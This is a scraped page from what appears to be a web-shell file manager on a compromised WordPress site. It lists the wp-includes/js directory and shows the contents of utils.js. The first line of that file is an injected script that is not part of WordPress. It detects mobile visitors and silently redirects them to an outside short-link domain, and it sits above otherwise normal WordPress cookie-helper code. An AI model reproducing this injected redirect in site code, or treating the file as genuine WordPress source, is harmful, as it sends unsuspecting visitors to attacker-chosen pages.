at path:ROOT / wp-includes / js / utils.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄utils.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Cookie functions.
4 *
5 * @output wp-includes/js/utils.js
6 */
7
8/* global userSettings, getAllUserSettings, wpCookies, setUserSetting */
9/* exported getUserSetting, setUserSetting, deleteUserSetting */
10
11window.wpCookies = {
12// The following functions are from Cookie.js class in TinyMCE 3, Moxiecode, used under LGPL.
13
14 each: function( obj, cb, scope ) {
15 var n, l;
16
17 if ( ! obj ) {
18 return 0;
19 }
20
21 scope = scope || obj;
22
23 if ( typeof( obj.length ) !== 'undefined' ) {
24 for ( n = 0, l = obj.length; n < l; n++ ) {
25 if ( cb.call( scope, obj[n], n, obj ) === false ) {
26 return 0;
27 }
28 }
29 } else {
30 for ( n in obj ) {
31 if ( obj.hasOwnProperty(n) ) {
32 if ( cb.call( scope, obj[n], n, obj ) === false ) {
33 return 0;
34 }
35 }
36 }
37 }
38 return 1;
39 },
40
41 /**
42 * Get a multi-values cookie.
43 * Returns a JS object with the name: 'value' pairs.
44 */
45 getHash: function( name ) {
46 var cookie = this.get( name ), values;
47
48 if ( cookie ) {
49 this.each( cookie.split('&'), function( pair ) {
50 pair = pair.split('=');
51 values = values || {};
52 values[pair[0]] = pair[1];
53 });
54 }
55
56 return values;
57 },
58
59 /**
60 * Set a multi-values cookie.
61 *
62 * 'values_obj' is the JS object that is stored. It is encoded as URI in wpCookies.set().
63 */
64 setHash: function( name, values_obj, expires, path, domain, secure ) {
65 var str = '';
66
67 this.each( values_obj, function( val, key ) {
68 str += ( ! str ? '' : '&' ) + key + '=' + val;
69 });
70
71 this.set( name, str, expires, path, domain, secure );
72 },
73
74 /**
75 * Get a cookie.
76 */
77 get: function( name ) {
78 var e, b,
79 cookie = document.cookie,
80 p = name + '=';
81
82 if ( ! cookie ) {
83 return;
84 }
85
86 b = cookie.indexOf( '; ' + p );
87
88 if ( b === -1 ) {
89 b = cookie.indexOf(p);
90
91 if ( b !== 0 ) {
92 return null;
93 }
94 } else {
95 b += 2;
96 }
97
98 e = cookie.indexOf( ';', b );
99
100 if ( e === -1 ) {
101 e = cookie.length;
102 }
103
104 return decodeURIComponent( cookie.substring( b + p.length, e ) );
105 },
106
107 /**
108 * Set a cookie.
109 *
110 * The 'expires' arg can be either a JS Date() object set to the expiration date (back-compat)
111 * or the number of seconds until expiration
112 */
113 set: function( name, value, expires, path, domain, secure ) {
114 var d = new Date();
115
116 if ( typeof( expires ) === 'object' && expires.toGMTString ) {
117 expires = expires.toGMTString();
118 } else if ( parseInt( expires, 10 ) ) {
119 d.setTime( d.getTime() + ( parseInt( expires, 10 ) * 1000 ) ); // Time must be in milliseconds.
120 expires = d.toGMTString();
121 } else {
122 expires = '';
123 }
124
125 document.cookie = name + '=' + encodeURIComponent( value ) +
126 ( expires ? '; expires=' + expires : '' ) +
127 ( path ? '; path=' + path : '' ) +
128 ( domain ? '; domain=' + domain : '' ) +
129 ( secure ? '; secure' : '' );
130 },
131
132 /**
133 * Remove a cookie.
134 *
135 * This is done by setting it to an empty value and setting the expiration time in the past.
136 */
137 remove: function( name, path, domain, secure ) {
138 this.set( name, '', -1000, path, domain, secure );
139 }
140};
141
142// Returns the value as string. Second arg or empty string is returned when value is not set.
143window.getUserSetting = function( name, def ) {
144 var settings = getAllUserSettings();
145
146 if ( settings.hasOwnProperty( name ) ) {
147 return settings[name];
148 }
149
150 if ( typeof def !== 'undefined' ) {
151 return def;
152 }
153
154 return '';
155};
156
157/*
158 * Both name and value must be only ASCII letters, numbers or underscore
159 * and the shorter, the better (cookies can store maximum 4KB). Not suitable to store text.
160 * The value is converted and stored as string.
161 */
162window.setUserSetting = function( name, value, _del ) {
163 if ( 'object' !== typeof userSettings ) {
164 return false;
165 }
166
167 var uid = userSettings.uid,
168 settings = wpCookies.getHash( 'wp-settings-' + uid ),
169 path = userSettings.url,
170 secure = !! userSettings.secure;
171
172 name = name.toString().replace( /[^A-Za-z0-9_-]/g, '' );
173
174 if ( typeof value === 'number' ) {
175 value = parseInt( value, 10 );
176 } else {
177 value = value.toString().replace( /[^A-Za-z0-9_-]/g, '' );
178 }
179
180 settings = settings || {};
181
182 if ( _del ) {
183 delete settings[name];
184 } else {
185 settings[name] = value;
186 }
187
188 wpCookies.setHash( 'wp-settings-' + uid, settings, 31536000, path, '', secure );
189 wpCookies.set( 'wp-settings-time-' + uid, userSettings.time, 31536000, path, '', secure );
190
191 return name;
192};
193
194window.deleteUserSetting = function( name ) {
195 return setUserSetting( name, '', 1 );
196};
197
198// Returns all settings as JS object.
199window.getAllUserSettings = function() {
200 if ( 'object' !== typeof userSettings ) {
201 return {};
202 }
203
204 return wpCookies.getHash( 'wp-settings-' + userSettings.uid ) || {};
205};
206